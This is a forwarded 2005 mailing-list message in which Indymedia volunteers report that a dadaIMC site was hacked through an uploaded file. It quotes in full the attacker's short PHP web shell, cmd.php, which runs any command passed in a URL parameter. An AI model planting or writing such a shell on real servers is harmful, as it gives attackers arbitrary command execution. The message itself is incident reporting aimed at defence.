[Imc-tech] [Fwd: dada hacked]

[Daniel S. Lewart]

Mike, Zach, et al,

If someone knows how to disable uploads, that would be a good thing.

Cheers,
Dan

-------- Original Message --------
Subject: dada hacked
Date: Thu, 28 Apr 2005 12:04:04 -0300 (BRT)
From: pietro <pietro at indymedia.org>
Reply-To: dadaIMC Discussion <dadaIMC at lists.nothingness.org>
To: dadaIMC at lists.nothingness.org

hey folks,

nj imc was one of the hacked dada sites. it was running .98. looking at
the logs it seems that the attacker uploaded a .php file and used it to
execute comands on the server.

the file was called cmd.php and its contects is:

<?php
$cmd = $_GET['cmd'];
passthru("$cmd", $return);
?>


pietro.


-------------
To unsubscribe, send blank email
to dadaIMC-off at lists.dadaimc.org